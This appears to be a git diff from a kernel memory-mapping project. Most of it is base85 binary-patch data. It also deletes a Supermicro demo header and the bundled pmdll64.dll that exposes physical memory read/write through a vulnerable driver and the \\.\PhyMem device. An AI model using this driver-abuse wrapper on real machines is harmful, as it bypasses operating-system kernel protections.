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 -#include -#include -#include - -namespace physmeme -{ - /* - please code this function depending on your method of physical read/write. - */ - inline std::uintptr_t map_phys( - std::uintptr_t addr, - std::size_t size - ) - { - //--- ensure the validity of the address we are going to try and map - if (!is_valid(addr)) - return NULL; - - static const auto map_phys_ptr = - reinterpret_cast<__int64(__fastcall*)(__int64, unsigned)>( - GetProcAddress(LoadLibrary("pmdll64.dll"), "MapPhyMem")); - return map_phys_ptr ? map_phys_ptr(addr, size) : false; - } - - /* - please code this function depending on your method of physical read/write. - */ - inline bool unmap_phys( - std::uintptr_t addr, - std::size_t size - ) - { - static const auto unmap_phys_ptr = - reinterpret_cast<__int64(*)(__int64, unsigned)>( - GetProcAddress(LoadLibrary("pmdll64.dll"), "UnmapPhyMem")); - return unmap_phys_ptr ? unmap_phys_ptr(addr, size) : false; - } - - /* - please code this function depending on your method of physical read/write. - */ - inline HANDLE load_drv() - { - static const auto load_driver_ptr = - reinterpret_cast<__int64(*)()>( - GetProcAddress(LoadLibrary("pmdll64.dll"), "LoadPhyMemDriver")); - - if (load_driver_ptr) - load_driver_ptr(); - - //--- i dont ever use this handle, its just an example of what you should do. - return CreateFileA("\\\\.\\PhyMem", 0xC0000000, 3u, 0i64, 3u, 0x80u, 0i64); - } - - /* - please code this function depending on your method of physical read/write. - */ - inline bool unload_drv() - { - static const auto unload_driver_ptr = - reinterpret_cast<__int64(*)()>( - GetProcAddress(LoadLibrary("pmdll64.dll"), "UnloadPhyMemDriver")); - return unload_driver_ptr ? unload_driver_ptr() : false; - } - - inline HANDLE drv_handle = load_drv(); -} \ No newline at end of file diff --git a/demo/supermicro/pmdll64.dll b/demo/supermicro/pmdll64.dll deleted file mode 100644 index 0aff779e6730e785cb705bd13e2fc0eb4f181c7e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 117760 zcmeFad3;pW`9D6BnIS_KZV(0o7#U!|Xas{nNf?m1WTJOuqCpT-MTrI@)(yiQL1jt2 z6Pw9(l(w|h+D~g+yV|O4EvsTC!7K)3s~W@ww|a&V1=J+0^L;<(+?h;3`|0QP`}fC- z+p65BwdCqg5^PFYMZ(M7#m`o-s{^D_yX(QhB&%>Yp`EdZrL&j_#VtQ%tjb7}2;chuf`kF)yLd+)tZb>4Qnvo>(A^Uiyn-fQPM@40XB?US>!Gh7Df zZ#GZf^0)mSmiT)i)XKKu`-RY(Y%|_J&2zJV;@y6woBf^Vli9mGeH#n%_a62lfA8k+ z>+Y;xLa-8)SCpAdiys|iikv_3`b6Ae(>P~l+F+AOF`Gg^|BK4<9Dg#KcB1IwUz$x76j_*NdWjI_q?y(Yr3mAn zC(U%RK$(d7@7`5rlam_qJN`{pZ(pGz?MGJvDG@|$RlU_@+BpXa zfNApM?Z-Rip9kVGS!6SPG7kwaB7GFzPo9;pdGb<`k=GG*HJyWee?KdqXL9Yb+G-?m zo`5%;x!b-i-|ctbhm5sEJ9uRpgm>Fn`DP>b|Nr-2a6kzyblH`V>dLu6(LQ$;?N`E= z**BR@MSB$e4S6GpN+|CK+s!6+TQP)2KcQ!@!k49swG^35n(Z!pSQV|^s&_Pcr=8SV zt&ym`(Le2!-VtHBk!X&h#m`4d9C4>twb88qDcWDN zR_|bU0&rPTb5W->#$(cV?L8RWqgsph$1=1NW_9cqYHKZGm*dUaG3Uw;blagWvq@{V zhHRf85ZkKT-o<-%*l#k2vUej$m~Lv_F8+DuE#MW^kLcMiA+adVj$LXp>D}7txSHdc zept=aI^vwTTW)IghZegOf9P&k#f*GEm{jQxUv_YV+2qwflV2f11c!Y38)Z`Ir$u{0 zGZz9Tn>Nj4ip1>F`uz?2SIfF>4p9Lp9z~C#f{j3^R6C|1c6OunQr%X7P`oAHtZ0YK zA;(C3g>2{I89*bTlpp-6jK2|@=|-G(+9Cbm$B=p@?3ndMJg!u?>5o0KI2RF?*W(|4 zCFNu*?PilSyi>X{QX@^aeKgl>dMHiJlO|{H6v1=)6aPsu83DU?Vs!K}0PRotF;b+a zizu$ag{O96WONwbgy1uDxc;2=1Y?jCd=$MANWO1;E~n2V6@DZ3)&a2-Ig$==Qfg?y zQ#&yt`n*jbd1L^R^Qb&0^up+4$N@y=WYh)G2PrCv?1Ktk<&=89LNUDf_-Ofnyw4#; zYMM=P4Kwi6PB^0lcvC&&ucg-WDFM|7)Q^hb75ymh7BLt1$6PI9M)k*d5F<6c4b3Gr z?55{>+jIXko5Eg`K5{LuZ3^n0A|?g(YlxAW z7IM@J@YGI7(J}+o$N{MSL1j6ohDOIz{>j--3UDbXSBsbwlnX^n3d-vcBQ-@aCP@t+ ztde-xO4zAx3Ii%~7r3s76HZFi^P% zpn6l3B~&dUn1bq$A|?gZqar2+)k?%jO~W{vtiJqeknTJ360t=0EMSweM#2&SN# 